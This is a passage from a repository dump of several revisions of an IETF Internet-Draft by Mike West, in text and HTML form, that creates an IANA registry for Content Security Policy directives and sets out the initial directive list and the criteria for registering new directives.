dissimilar features. Documents defining new Content Security Policy directives MUST register them with IANA, as described in Section 4. The IANA West Expires April 8, 2016 [Page 2] Internet-Draft webappsec-csp-reg October 2015 registration policy for such parameters is "Specification Required, Designated Expert", and is further discussed in Section 4.2. 4. IANA Considerations This specification creates a new IANA registry named "Content Security Policy directives". 4.1. Content Security Policy directives Registry New Content Security Policy directives, and updates to existing directives, MUST be registered with IANA. When registering a new Content Security Policy directive, the following information MUST be provided: o The directive's name (which MUST be an ASCII string) o A reference to the readily available public specification defining the new directive's syntax, usage, and semantics. The following table contains the initial values for this registry: +-----------------+-----------+ | Directive Name | Reference | +-----------------+-----------+ | base-uri | [CSP] | | child-src | [CSP] | | connect-src | [CSP] | | default-src | [CSP] | | font-src | [CSP] | | form-action | [CSP] | | frame-ancestors | [CSP] | | frame-src | [CSP] | | img-src | [CSP] | | media-src | [CSP] | | object-src | [CSP] | | plugin-types | [CSP] | | report-uri | [CSP] | | sandbox | [CSP] | | script-src | [CSP] | | style-src | [CSP] | +-----------------+-----------+ West Expires April 8, 2016 [Page 3] Internet-Draft webappsec-csp-reg October 2015 4.2. Registration Policy for Content Security Policy directives As per the terminology in [RFC5226] and actions accorded to such a role, the registration policy for Content Security Policy directives is "Specification Required, Designated Expert" (the former implies the latter). The Designated Expert, when deliberating on whether to include a new directive in the registry, MAY use the criteria provided below to reach a decision. These are not an exhaustive list, but representative of the issues to consider when rendering an equitable decision): o Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property. o Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications. 5. Security Considerations The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives MUST contain detailed security and privacy considerations sections, and SHOULD contain usage information which informs web developers as to the directive's expected implementation. 6. References 6.1. Normative References [CSP] West, M. and D. Veditz, "Content Security Policy", n.d., . [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/ RFC2119, March 1997, . West Expires April 8, 2016 [Page 4] Internet-Draft webappsec-csp-reg October 2015 [RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008, . 6.2. Informative References [RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008, . Appendix A. Acknowledgements I've cargo-culted this document from [RFC5341], so thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within. Author's Address Mike West Google, Inc Email: mkwst@google.com URI: https://mikewest.org/ West Expires April 8, 2016 [Page 5] ================================================ FILE: iana/draft-west-webappsec-csp-reg-01.html ================================================ Content Security Policy Directive Registry
Network Working Group M. West
Internet-Draft Google, Inc
Intended status: Informational October 7, 2015
Expires: April 9, 2016

Content Security Policy Directive Registry
draft-west-webappsec-csp-reg-01

Abstract

This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on April 9, 2016.

Copyright Notice

Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.


Table of Contents

1. Introduction

The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

The policy language specified in that document consists of an extensible set of “directives”, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.

2. Use of the Registry

Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.

Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is “Specification Required” [RFC5226], and is further discussed in Section 3.2.

3. IANA Considerations

This specification creates a new top-level IANA registry named “Content Security Policy directives”.

3.1. Content Security Policy directives Registry

New Content Security Policy directives, and updates to existing directives, must be registered with IANA.

When registering a new Content Security Policy directive, the following information must be provided:

  • The directive’s name, an ASCII string conforming to the directive-name rule specified in Section 4.1 of [CSP].
  • A reference to the readily available public specification defining the new directive’s syntax, usage, and semantics.

The following table contains the initial values for this registry:

Directive Name Reference
base-uri [CSP]
child-src [CSP]
connect-src [CSP]
default-src [CSP]
font-src [CSP]
form-action [CSP]
frame-ancestors [CSP]
frame-src [CSP]
img-src [CSP]
media-src [CSP]
object-src [CSP]
plugin-types [CSP]
report-uri [CSP]
sandbox [CSP]
script-src [CSP]
style-src [CSP]

3.2. Registration Policy for Content Security Policy directives

The registration policy for Content Security Policy directives is “Specification Required” [RFC5226], which uses a designated expert to review the specification.

The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision):

  • Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.
  • Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.

4. Security Considerations

The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive’s expected implementation.

5. References

5.1. Normative References

[CSP] West, M. and D. Veditz, "Content Security Policy", n.d..
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997.
[RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.
[RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, January 2008.

5.2. Informative References

[RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008.

Appendix A. Acknowledgements

Much of this document’s structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.

Author's Address

Mike West Google, Inc EMail: mkwst@google.com URI: https://mikewest.org/
================================================ FILE: iana/draft-west-webappsec-csp-reg-01.txt ================================================ Network Working Group M. West Internet-Draft Google, Inc Intended status: Informational October 7, 2015 Expires: April 9, 2016 Content Security Policy Directive Registry draft-west-webappsec-csp-reg-01 Abstract This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on April 9, 2016. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. West Expires April 9, 2016 [Page 1] Internet-Draft webappsec-csp-reg October 2015 Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Use of the Registry . . . . . . . . . . . . . . . . . . . . . 2 3. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 2 3.1. Content Security Policy directives Registry . . . . . . . 3 3.2. Registration Policy for Content Security Policy directives . . . . . . . . . . . . . . . . . . . . . . . 3 4. Security Considerations . . . . . . . . . . . . . . . . . . . 4 5. References . . . . . . . . . . . . . . . . . . . . . . . . . 4 5.1. Normative References . . . . . . . . . . . . . . . . . . 4 5.2. Informative References . . . . . . . . . . . . . . . . . 4 Appendix A. Acknowledgements . . . . . . . . . . . . . . . . . . 5 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 5 1. Introduction The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized. 2. Use of the Registry Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features. Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is "Specification Required" [RFC5226], and is further discussed in Section 3.2. 3. IANA Considerations This specification creates a new top-level IANA registry named "Content Security Policy directives". West Expires April 9, 2016 [Page 2] Internet-Draft webappsec-csp-reg October 2015 3.1. Content Security Policy directives Registry New Content Security Policy directives, and updates to existing directives, must be registered with IANA. When registering a new Content Security Policy directive, the following information must be provided: o The directive's name, an ASCII string conforming to the "directive-name" rule specified in Section 4.1 of [CSP]. o A reference to the readily available public specification defining the new directive's syntax, usage, and semantics. The following table contains the initial values for this registry: +-----------------+-----------+ | Directive Name | Reference | +-----------------+-----------+ | base-uri | [CSP] | | child-src | [CSP] | | connect-src | [CSP] | | default-src | [CSP] | | font-src | [CSP] | | form-action | [CSP] | | frame-ancestors | [CSP] | | frame-src | [CSP] | | img-src | [CSP] | | media-src | [CSP] | | object-src | [CSP] | | plugin-types | [CSP] | | report-uri | [CSP] | | sandbox | [CSP] | | script-src | [CSP] | | style-src | [CSP] | +-----------------+-----------+ 3.2. Registration Policy for Content Security Policy directives The registration policy for Content Security Policy directives is "Specification Required" [RFC5226], which uses a designated expert to review the specification. The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision): West Expires April 9, 2016 [Page 3] Internet-Draft webappsec-csp-reg October 2015 o Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property. o Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications. 4. Security Considerations The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive's expected implementation. 5. References 5.1. Normative References [CSP] West, M. and D. Veditz, "Content Security Policy", n.d., . [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. [RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008, . [RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, January 2008. 5.2. Informative References [RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008, . West Expires April 9, 2016 [Page 4] Internet-Draft webappsec-csp-reg October 2015 Appendix A. Acknowledgements Much of this document's structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions. Author's Address Mike West Google, Inc Email: mkwst@google.com URI: https://mikewest.org/ West Expires April 9, 2016 [Page 5] ================================================ FILE: iana/draft-west-webappsec-csp-reg-02.html ================================================ Content Security Policy Directive Registry
Network Working Group M. West
Internet-Draft Google, Inc
Intended status: Informational October 7, 2015
Expires: April 9, 2016

Content Security Policy Directive Registry
draft-west-webappsec-csp-reg-02

Abstract

This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on April 9, 2016.

Copyright Notice

Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.


Table of Contents

1. Introduction

The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

The policy language specified in that document consists of an extensible set of “directives”, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.

2. Use of the Registry

Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.

Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is “Specification Required” [RFC5226], and is further discussed in Section 3.2.

3. IANA Considerations

This specification creates a new top-level IANA registry named “Content Security Policy directives”.

3.1. Content Security Policy directives Registry

New Content Security Policy directives, and updates to existing directives, must be registered with IANA.

When registering a new Content Security Policy directive, the following information must be provided:

directive-name  = 1*( ALPHA / DIGIT / "-" )

  • The directive’s name, an ASCII string conforming to the directive-name rule specified in Section 4.1 of [CSP]. The ABNF [RFC5234] is as follows:

  • A reference to the readily available public specification defining the new directive’s syntax, usage, and semantics.

The following table contains the initial values for this registry:

Directive Name Reference
base-uri [CSP]
child-src [CSP]
connect-src [CSP]
default-src [CSP]
font-src [CSP]
form-action [CSP]
frame-ancestors [CSP]
frame-src [CSP]
img-src [CSP]
media-src [CSP]
object-src [CSP]
plugin-types [CSP]
report-uri [CSP]
sandbox [CSP]
script-src [CSP]
style-src [CSP]

3.2. Registration Policy for Content Security Policy directives

The registration policy for Content Security Policy directives is “Specification Required” [RFC5226], which uses a designated expert to review the specification.

The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision):

  • Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.
  • Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.

4. Security Considerations

The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive’s expected implementation.

5. References

5.1. Normative References

[CSP] West, M. and D. Veditz, "Content Security Policy", n.d..
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997.
[RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.
[RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, January 2008.

5.2. Informative References

[RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008.

Appendix A. Acknowledgements

Much of this document’s structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.

Author's Address

Mike West Google, Inc EMail: mkwst@google.com URI: https://mikewest.org/
================================================ FILE: iana/draft-west-webappsec-csp-reg-02.txt ================================================ Network Working Group M. West Internet-Draft Google, Inc Intended status: Informational October 7, 2015 Expires: April 9, 2016 Content Security Policy Directive Registry draft-west-webappsec-csp-reg-02 Abstract This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on April 9, 2016. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. West Expires April 9, 2016 [Page 1] Internet-Draft webappsec-csp-reg October 2015 Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Use of the Registry . . . . . . . . . . . . . . . . . . . . . 2 3. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 2 3.1. Content Security Policy directives Registry . . . . . . . 3 3.2. Registration Policy for Content Security Policy directives . . . . . . . . . . . . . . . . . . . . . . . 3 4. Security Considerations . . . . . . . . . . . . . . . . . . . 4 5. References . . . . . . . . . . . . . . . . . . . . . . . . . 4 5.1. Normative References . . . . . . . . . . . . . . . . . . 4 5.2. Informative References . . . . . . . . . . . . . . . . . 5 Appendix A. Acknowledgements . . . . . . . . . . . . . . . . . . 5 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 5 1. Introduction The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized. 2. Use of the Registry Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features. Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is "Specification Required" [RFC5226], and is further discussed in Section 3.2. 3. IANA Considerations This specification creates a new top-level IANA registry named "Content Security Policy directives". West Expires April 9, 2016 [Page 2] Internet-Draft webappsec-csp-reg October 2015 3.1. Content Security Policy directives Registry New Content Security Policy directives, and updates to existing directives, must be registered with IANA. When registering a new Content Security Policy directive, the following information must be provided: o The directive's name, an ASCII string conforming to the "directive-name" rule specified in Section 4.1 of [CSP]. The ABNF [RFC5234] is as follows: directive-name = 1*( ALPHA / DIGIT / "-" ) o A reference to the readily available public specification defining the new directive's syntax, usage, and semantics. The following table contains the initial values for this registry: +-----------------+-----------+ | Directive Name | Reference | +-----------------+-----------+ | base-uri | [CSP] | | child-src | [CSP] | | connect-src | [CSP] | | default-src | [CSP] | | font-src | [CSP] | | form-action | [CSP] | | frame-ancestors | [CSP] | | frame-src | [CSP] | | img-src | [CSP] | | media-src | [CSP] | | object-src | [CSP] | | plugin-types | [CSP] | | report-uri | [CSP] | | sandbox | [CSP] | | script-src | [CSP] | | style-src | [CSP] | +-----------------+-----------+ 3.2. Registration Policy for Content Security Policy directives The registration policy for Content Security Policy directives is "Specification Required" [RFC5226], which uses a designated expert to review the specification. West Expires April 9, 2016 [Page 3] Internet-Draft webappsec-csp-reg October 2015 The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision): o Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property. o Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications. 4. Security Considerations The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive's expected implementation. 5. References 5.1. Normative References [CSP] West, M. and D. Veditz, "Content Security Policy", n.d., . [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. [RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008, . [RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, January 2008. West Expires April 9, 2016 [Page 4] Internet-Draft webappsec-csp-reg October 2015 5.2. Informative References [RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008, . Appendix A. Acknowledgements Much of this document's structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions. Author's Address Mike West Google, Inc Email: mkwst@google.com URI: https://mikewest.org/ West Expires April 9, 2016 [Page 5] ================================================ FILE: iana/draft-west-webappsec-csp-reg-03.html ================================================ Content Security Policy Directive Registry
Network Working Group M. West
Internet-Draft Google, Inc
Intended status: Informational October 7, 2015
Expires: April 9, 2016

Content Security Policy Directive Registry
draft-west-webappsec-csp-reg-03

Abstract

This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on April 9, 2016.

Copyright Notice

Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.


Table of Contents

1. Introduction

The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

The policy language specified in that document consists of an extensible set of “directives”, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.

2. Use of the Registry

Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.

Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is “Specification Required” [RFC5226], and is further discussed in Section 3.2.

3. IANA Considerations

This specification creates a new top-level IANA registry named “Content Security Policy directives”.

3.1. Content Security Policy directives Registry

New Content Security Policy directives, and updates to existing directives, must be registered with IANA.

When registering a new Content Security Policy directive, the following information must be provided:

directive-name  = 1*( ALPHA / DIGIT / "-" )

  • The directive’s name, an ASCII string conforming to the directive-name rule specified in Section 4.1 of [CSP]. The ABNF [RFC5234] is as follows:

  • A reference to the readily available public specification defining the new directive’s syntax, usage, and semantics.

The following table contains the initial values for this registry:

Directive Name Reference
base-uri [CSP]
child-src [CSP]
connect-src [CSP]
default-src [CSP]
font-src [CSP]
form-action [CSP]
frame-ancestors [CSP]
frame-src [CSP]
img-src [CSP]
media-src [CSP]
object-src [CSP]
plugin-types [CSP]
report-uri [CSP]
sandbox [CSP]
script-src [CSP]
style-src [CSP]

3.2. Registration Policy for Content Security Policy directives

The registration policy for Content Security Policy directives is “Specification Required” [RFC5226], which uses a designated expert to review the specification.

The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision):

  • Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.
  • Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.

4. Security Considerations

The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive’s expected implementation.

5. References

5.1. Normative References

[CSP] West, M. and D. Veditz, "Content Security Policy", n.d..
[RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.
[RFC5234] Crocker, D. and P. Overell, "Augmented BNF for Syntax Specifications: ABNF", STD 68, RFC 5234, January 2008.

5.2. Informative References

[RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008.

Appendix A. Acknowledgements

Much of this document’s structure comes from [RFC5341]. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.

Author's Address

Mike West Google, Inc EMail: mkwst@google.com URI: https://mikewest.org/
================================================ FILE: iana/draft-west-webappsec-csp-reg-03.txt ================================================ Network Working Group M. West Internet-Draft Google, Inc Intended status: Informational October 7, 2015 Expires: April 9, 2016 Content Security Policy Directive Registry draft-west-webappsec-csp-reg-03 Abstract This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on April 9, 2016. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. West Expires April 9, 2016 [Page 1] Internet-Draft webappsec-csp-reg October 2015 Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Use of the Registry . . . . . . . . . . . . . . . . . . . . . 2 3. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 2 3.1. Content Security Policy directives Registry . . . . . . . 3 3.2. Registration Policy for Content Security Policy directives . . . . . . . . . . . . . . . . . . . . . . . 3 4. Security Considerations . . . . . . . . . . . . . . . . . . . 4 5. References . . . . . . . . . . . . . . . . . . . . . . . . . 4 5.1. Normative References . . . . . . . . . . . . . . . . . . 4 5.2. Informative References . . . . . . . . . . . . . . . . . 4 Appendix A. Acknowledgements . . . . . . . . . . . . . . . . . . 5 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 5 1. Introduction The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized. 2. Use of the Registry Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features. Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is "Specification Required" [RFC5226], 